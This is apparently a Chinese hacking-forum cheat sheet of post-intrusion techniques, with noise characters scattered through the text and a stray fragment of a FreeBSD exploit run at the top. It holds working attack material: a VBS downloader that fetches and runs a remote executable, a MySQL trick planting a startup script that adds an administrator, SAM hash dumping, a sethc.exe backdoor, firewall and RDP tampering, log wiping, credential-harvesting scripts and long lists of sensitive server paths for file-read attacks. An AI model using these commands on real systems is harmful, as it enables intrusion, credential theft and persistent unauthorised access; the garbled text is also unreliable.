2 k6 a: z) m8 w6 i, g* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
/ W2 v; G( G$ W  H, [3 d* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
# a' ^6 j5 N3 N+ ?9 K' @0 b0 I* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
2 y" Y5 {3 b2 d; i$ N8 Q5 d9 W8 b*
calling nmount()
- Y: Z, T1 ~  Z
, r9 Y. s. N8 |+ o/ L! T" r（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
: V8 v! K' V; X, r感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
! B7 C/ F* g5 {5 p————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
7 L% Z3 q- U% u, t{
. k; M5 m" y' n4 T' b注：
# r$ p! ]+ M& n0 F/ O关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
' f5 q8 b1 v( M0 d- ~那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
! U& g# s" }+ T* ~9 r/ p9 @# |}  
; B( e8 o5 {* _$ ^+ x
提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
5 E( Z. Z, v0 M- g$ O——————————————
2、收集系统信息的脚本  
for window：

@echo off
( I# Y4 x: C4 l/ c% B+ b( n5 p& uecho #########system info collection
; o" e4 ~  C4 ?. s  V  ?" osysteminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query

4 V+ l4 p( E/ }1 B8 d8 Oecho
echo ####task-list#############
tasklist /svc
echo
- x3 R6 e  N! d/ N% xecho ####net-work infomation
ipconfig/all
* O. O! [% W& Y" A/ N# Uroute print
$ b0 B. G. ?/ w- p; Larp -a
netstat -anipconfig /displaydns
- o7 r" t" J: }echo
echo #######service############
sc query type= service state= all
. T5 ]/ P, S& S$ h, L! P. Yecho #######file-##############
+ H" S$ t1 F5 I3 c7 |4 p& P8 h6 Qcd \
  O& y2 a' p) Z& ]tree -F
* X, Z2 N$ o2 t: y( Nfor linux：
0 Q2 L% ~" F1 J2 |
#!/bin/bash
+ V3 g, X5 ?$ P; _9 E! C
) C. q  U! f7 |/ u. m& ?  Vecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
' b' \6 c* M+ `$ Q( ~echo
rpm -qa 2>/dev/null
######stole the mail......######
6 l9 V7 a. A+ n2 Acp -a /var/mail /tmp/getmail 2>/dev/null
- f: x2 I% {& e+ M

4 M' U1 P1 F3 Jecho 'u'r id is' `id`
echo ###atq&crontab#####
# l: [2 i/ ^" J: g4 Catq
: x5 X: `- ?  ~! S" Rcrontab -l
+ l, f* s0 j5 q$ techo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
( g+ |. S, C' u$ Z' ^2 W" S* Bhostname
ipconfig -a
" l$ T$ K# Q/ p6 m- J9 Y$ }arp -v
echo ########user####
# @$ v5 j) ~4 q- Z: Bcat /etc/passwd|grep -i sh

* X1 x* L6 X- X. o0 b0 Qecho ######service####
chkconfig --list
: W7 T. E# v. P2 [6 d
# b5 @( d4 ?/ e* c6 ^9 f6 d; D$ xfor i in {oracle,mysql,tomcat,samba,apache,ftp}
4 D. D3 ?4 ?- t. F8 z, V9 k  K7 Fcat /etc/passwd|grep -i $i
  v8 M: D) j- w0 a7 Y, \0 Cdone
) t& A" i  e: p5 T8 `, O& C, t
locate passwd >/tmp/password 2>/dev/null
sleep 5
- \: e5 Z+ a- D. l! N7 xlocate password >>/tmp/password 2>/dev/null
% Q% S* J" \0 f* v# B; B5 usleep 5
7 ^3 A9 w3 ]- K: h$ Ylocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5

9 Z$ t5 q# V2 e. f/ q' d; ~( \###maybe can use "tree /"###
7 K3 f0 P& U6 ~echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
+ ~( J$ k% l* f8 jrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
" X; [0 @8 t1 K0 m, k+ n——————————————
3、ethash 不免杀怎么获取本机hash。
# T: m+ F( F1 z1 D首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
* T7 H2 o1 Y: g! P( s+ k* nhash 抓完了记得把自己的账户密码改过来哦！
$ }0 z) L1 l/ G7 F2 M据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
4、vbs 下载者
( z6 g3 {& }' f+ X! s! H1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
! ^/ [# S' k% Z1 a% J# E2 Decho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
9 q! R: L, I& ]+ @' @; `0 `) recho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
) M: L) r( M2 I6 ?echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
' K1 K9 l* o! vecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
& x8 y0 {* ?. E$ i( W
2
. i) f) J  S5 v, WOn Error Resume Nextim iRemote,iLocal,s1,s2
+ w1 H) g* g8 @0 n4 l# tiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
2 Y& t$ V0 c! E4 esGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

8 C- d$ x6 l; U当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
/ H9 r: U* O  Z——————————————————
+ E2 P1 x/ |1 G1 b- V5、
1.查询终端端口
% f, n# l4 C( g  H+ R8 Z2 j" f6 hREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
1 ]4 m& b$ S+ }6 Q8 p3 v- h7 I2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
- w4 l$ c$ B( O- I' Y0 Y( D3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
+ P5 A# B7 _& [& C3 L( C) bREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
. W! G0 ?' C+ Z* Z/ T! e8 Q4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
) i: @/ w, k0 @% ^: d0 sselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
% m, C7 ~7 P% \1 X# {8 S————————————————————
$ u2 ^1 X' [& ^/ @7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来

/ ^% g& `* b, |) R. X2.for /r %i in (*.exe) do @echo %i
. D0 W+ g- a  ?0 X8 s% ?) P$ U  
* K8 f2 C( J( a6 m. v- J" A" p* W+ y! \以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

" S+ _; N* g7 p$ ]: W% i0 tfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
+ C( o# n7 ~- U4 b8 V  n/ L6 |
3.for /f %i in (c:\1.txt) do echo %i
  
9 d$ E. Z! {- m3 t  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
( a% O6 a8 K: H4 |5 i. E7 Q) \
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
3 R9 i& i) [7 @# F/ l/ Y, G$ ^——————————
- A( m" j% }& G+ ]●注册表:
- _/ y( U- ~( a+ ^6 K1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
" `( d4 q; b" l. N
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
9 r. z2 b* x* E$ i修改PortNumber.
. O  L. Q; t9 y* t+ `( J7 S$ L+ Z
7 b1 X3 A& |# }" ~$ t  p4 i9 }3.清除3389登录记录:
; a1 R9 Y5 V6 F! |# Z" N; [reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
9 h8 p& I. I- F5 J9 V7 D: SREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
. v) c) G& ~- \" s7 a
. o: G& J" P# p2 p; }6.IPSec默认免除项88端口(需重启):
" V6 f1 C5 K. C  areg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
4 S' m- x0 ]0 }" N% b或者
netsh ipsec dynamic set config ipsecexempt value=0
  Z. z* m( _6 P8 F' d9 c  F
7 Z$ q5 j- J( U; h2 U) |6 w1 R+ G7.停止指派策略"myipsec":
& h9 m4 H  i8 h0 }. c7 l0 Unetsh ipsec static set policy name="myipsec" assign=n

) z$ r) o" e2 L1 I* C* q8.系统口令恢复LM加密:
2 V9 {6 C# M' J6 q# preg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

1 E7 ?0 y* ]/ l2 O: \9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
; O0 ?; G- L" b& f8 Vreg save hklm\security c:\security.hive

10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
3 k( t! A! v- ?  I% |-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
3 q9 F/ a( V3 i4 X) CFor Each obj3w In objservice
! T; k0 N$ j+ ], k  VchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
  P, X  B. `- ]5 rif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
2 l9 v* |  Q3 Q' }; v2 e& OServerComment=iis.servercomment
7 h2 }/ r" q. N' j+ C9 }set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
* f  V' W) V- b& k) k' z6 Dpass=iisweb.AnonymousUserPass
7 i" L& |5 [( |4 a' r! qpath=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
* [# s! p1 y4 j& B; u( w* Xend if
/ e7 Z8 q$ s! O) M, m& w4 pNext
/ c# y$ Z+ u% K& P% B3 b" G% a9 \wscript.echo list
9 O! m2 ?  `% S+ ^5 OSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
; y, p; o8 h( x5 M9 I- s& P# X复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
) T' \1 F  h" O/ e$ g1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
8 S/ X! z1 k: a( z% X& o1 V将folder.htt文件，加入以下代码：
/ m/ }( k: {0 X7 ]3 q5 c' n<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
! |4 `( W1 ]$ r, F% O# Q复制代码
9 L( @6 b8 e. {' v/ X然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
$ D- e9 |- |3 @asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
: {0 t! z- ~1 d& ^% x 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
& T+ J$ P- O# y/ J3 H url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
: c- i8 ]1 A9 a1 L' G
" m6 B! @, R( ]( H* S4 P==============================================================
+ ^* Q/ o6 ]3 h6 @* C& ?LINUX常见路径：
- [. I: v8 |7 t" [: D. @
/etc/passwd
5 C6 _, s: ~! V) f; X- B/etc/shadow
/ d% d8 J& R4 d# P* r/etc/fstab
/etc/host.conf
! g- U. |2 C/ g; u: n/etc/motd
9 j: I. C; C8 v2 F5 \/etc/ld.so.conf
) v4 J+ {! A5 O6 @& s' C; @/var/www/htdocs/index.php
/var/www/conf/httpd.conf
7 J7 D# l+ I7 o7 d+ |! X/var/www/htdocs/index.html
( {; Z6 P$ D, Q( ~1 n# k- r+ Q# x/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
8 q- j; L2 O7 R; Q/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
: `' A% h- v! U' X$ j, }2 G: H/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
7 j% u2 W" G) E0 h. S5 f) f3 u/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
8 l4 f/ v" N0 p! ~1 E) T/usr/local/httpd2.2/htdocs/index.php
8 E8 J" o4 J8 `# z& J7 W/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
$ q) p; w$ r. {/ |+ }: S- F; r/tmp/apache/htdocs/index.php
( G) j* [7 S# z* y' s/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
8 B. W% R2 r, E1 c: i) ]/www/php5/php.ini
, V4 l' J& `6 u8 u% X/ O8 ^/www/conf/httpd.conf
# J3 g$ ~2 o- A0 H( j2 ]2 O+ f+ a/www/htdocs/index.php
  B9 d) G/ B1 M/www/htdocs/index.html
4 o8 b3 {8 q: u* g9 e' W2 `3 B7 Z/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
* H! r8 X4 Y2 h6 g4 B/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
/etc/apache/httpd.conf
& r- _5 @* u# y: i  t/etc/apache2/httpd.conf
2 F% b4 r6 x% Z8 w5 R0 R6 B7 Q/etc/apache2/vhosts.d/00_default_vhost.conf
$ ?: ~$ D5 A1 G9 a; v/ @/ g/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
4 J' P; H; c5 d& A) L/etc/mysql/my.cnf
, ^/ R7 t7 V% P' n  P/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
5 ?2 L/ i; o4 i* R( y5 T# ]/etc/httpd/logs/error_log
! W+ L3 k8 s/ P+ U: E& x3 M3 k* u/etc/httpd/logs/error.log
8 T' b8 r% Y0 `9 A: k9 r/etc/httpd/logs/access_log
! L3 c3 v$ q0 c5 [) f6 b/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
4 j5 ]. x$ e* c+ {& S: y/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/ A0 B5 {0 j( s1 |/var/log/apache/access_log
9 z) U( Q$ d& E7 }* R' h/var/log/apache/access.log
5 L! U5 H- N3 z, s- {; {+ h/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
$ q  w$ v5 R5 ^! M1 I" t0 l/var/log/apache2/access.log
/var/www/logs/error_log
* V$ P, T) i2 \# O4 ^/var/www/logs/error.log
1 y8 S( B! r9 J! g3 r( R/ n& O% j/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
" ^* V, I3 s. h4 x/usr/local/apache/logs/error.log
" Q/ ^8 u2 v' l/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
- L0 X2 N4 ]  F. L8 t/var/log/access_log
) i* }: _5 f3 m0 T) k4 H/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
9 N) ?1 d4 H7 G% S6 L/bin/php.ini
5 q  T  g9 K# U/etc/init.d/httpd
6 ~3 ^0 p) s' U/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
% D% q: W: \3 P4 G& U: |0 N/usr/local/etc/php.ini
9 {! I  v& Z0 S. G, r) d/usr/local/lib/php.ini
2 p$ @9 J7 G9 R3 q% E% p0 o/usr/local/php/lib/php.ini
2 `6 @& P, O' N: G/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
1 d. i1 H- N$ `$ t' Y' J' b! R/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
8 s# o8 I8 O, b' Z2 I/usr/local/apache/conf/php.ini
+ L2 \# C) A9 k1 l5 H1 H) S2 \/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
. ~% g+ x2 g8 v* w8 m  t/etc/php4.4/fcgi/php.ini
. @9 O) \( c2 G' C( H$ o+ C. a/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
3 s  m! p, u$ D0 s/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
7 X  ?9 X9 {8 ?# ^3 m$ z/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
9 u6 m6 a( Y& ]4 Z* w" k/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
- O  M# `# F' ^0 E( H/var/local/www/conf/httpd.conf
9 c5 D+ O3 Q& B7 u/etc/php/cgi/php.ini
) d4 Q1 U% q$ i" u* h/etc/php4/cgi/php.ini
8 {# c- c8 y5 v6 V' C( L& u( N/etc/php5/cgi/php.ini
/php5/php.ini
% T8 q) n8 w0 ~/ e6 a2 l4 S5 X/php4/php.ini
/php/php.ini
0 z6 X4 m0 u8 [; h( O- |$ X: M/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
% V+ G4 z' @* N8 E( v/xampp/apache/conf/httpd.conf
- d: x" q& w% t  |9 V/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
  j5 ^/ H' Q8 b, p4 n/var/log/mysql/mysql.log
- B0 {$ M4 L1 |/var/log/mysql/mysql-slow.log
. X2 @: k9 `0 u/var/mysql.log
! D# L5 R: o' W  k& w/ z- [/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
* j4 {) u1 r. u6 D: [/usr/local/mysql/bin/mysql
% |4 Y9 Y' v3 [2 E  G: {/etc/mysql/my.cnf
! J+ Z5 n* g5 A) Y  I- a/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
4 j3 `: F+ n5 ?/ k# n. g# L8 [7 \/usr/local/cpanel/logs/access_log
! E- c0 F) y! t% n% v) F$ Z+ a' y) x/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
( M, |3 I$ Y! ~/ O9 y4 M6 L% K3 ^/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
0 \: D0 L" X9 I  X1 g; ?/usr/local/share/examples/php/php.ini
. S) j" `; R- i* {( m9 {8 _
' ]; Q+ y2 K' b" f! \7 u2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

. D# A5 Y) g# @0 H. g7 ~+ Sc:\windows\php.ini
c:\boot.ini
1 P) X/ b% ~2 h/ l1 l( Qc:\1.txt
% `; ~1 @- s( i) r% n: {c:\a.txt
) K% q- ~/ o: W8 [9 }5 H
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
' J+ l5 A* J4 S( `# [1 Q$ [c:\program files\CMailServer\WebMail\index.asp
" h6 |# f8 f9 nC:\WinWebMail\SysInfo.ini
( s0 _( ?% v$ J* D5 P+ CC:\WinWebMail\Web\default.asp
! E. V0 c$ q, k! A0 s, E; T  iC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
5 V5 G: E+ J# M. Z0 h6 ]C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

$ U" d8 l' _' [* F$ I+ `+ @$ [c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
, o  k( Y5 x! B+ Vc:\www\index.html
c:\WWWROOT\index.html
8 c  I; j; b- Q* e* t( `1 }c:\website\index.html
; b5 p$ d  R& S, T2 wc:\web\index.asp
5 ~2 s, j2 M/ i3 e" n8 yc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
/ v( w* d- z( c4 gc:\WWWROOT\index.php
, ]+ K7 A  G" ?c:\WWWsite\index.php
c:\web\default.html
/ C+ i% ^3 Q. `. J+ Bc:\www\default.html
$ E% s! t% v9 A3 @7 Kc:\WWWROOT\default.html
c:\website\default.html
+ C# g: C) i+ ]+ ec:\web\default.asp
$ C/ y$ u2 o7 Z; z3 nc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
. e0 J' n% [% V6 z2 G' qc:\web\default.php
c:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
$ \0 A4 i0 u4 O$ M  IC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
' s% y# h( i' \9 b' n' hC:\Program Files\Internet Explorer\IEXPLORE.EXE
0 s: [4 _9 R9 r8 D6 j6 [C:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
  W/ h/ y7 Y+ Y; p4 e" YC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
& [2 K- D: i: Y' c0 Cc:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
; ]+ P8 M2 b$ X% C' nC:\Documents and Settings\All Users\Start Menu\desktop.ini
& }4 k& {: h+ h& EC:\Documents and Settings\Administrator\My Documents\Default.rdp
6 o  |% u1 P( F) n$ xC:\Documents and Settings\Administrator\Cookies\index.dat
$ y% Y# Q0 z% w. f' i/ M# JC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
) h5 c% g" e7 _: p# q$ e7 j, nC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
, H7 z) C1 B& K. dC:\Documents and Settings\Administrator\My Documents\1.txt
9 g* W; `  V3 w9 u# sC:\Documents and Settings\Administrator\桌面\1.txt
6 V* k4 [2 I& z1 q$ X* f* R/ }C:\Documents and Settings\Administrator\My Documents\a.txt
& x) f/ q4 T+ x' I4 hC:\Documents and Settings\Administrator\桌面\a.txt
6 h# m# F  Q  n: h$ q' ]& ]" }C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
3 s& A- B6 R/ UC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
; a1 e" U% |/ Y% H5 G4 c3 gC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
4 P$ Z: P% b7 X* u1 t5 `  iC:\MySQL\MySQL Server 5.0\my.ini
! g2 A7 j3 b6 D+ v6 ^) h& P2 j  aC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
# t0 b% G1 J1 S2 R2 ^% |C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
) n& ], j% s. I/ a* sc:\MySQL\MySQL Server 4.1\bin\mysql.exe
4 |* s  A7 Z0 e! r2 H" O# O4 kc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
; V  S4 m  f8 M1 e2 N$ oC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
0 j: u" T' C3 J4 X- sC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
" s9 v+ i- Q: ?c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
+ g& ~) ?! B/ K$ F  \c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
( T7 T7 w% o( M5 {$ m% |: uc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
% c$ J* C' o" A, _# h# [; y* cc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
' t; ]4 `3 e7 A! f& I% }c:\Program Files\QQ2007\qq.exe
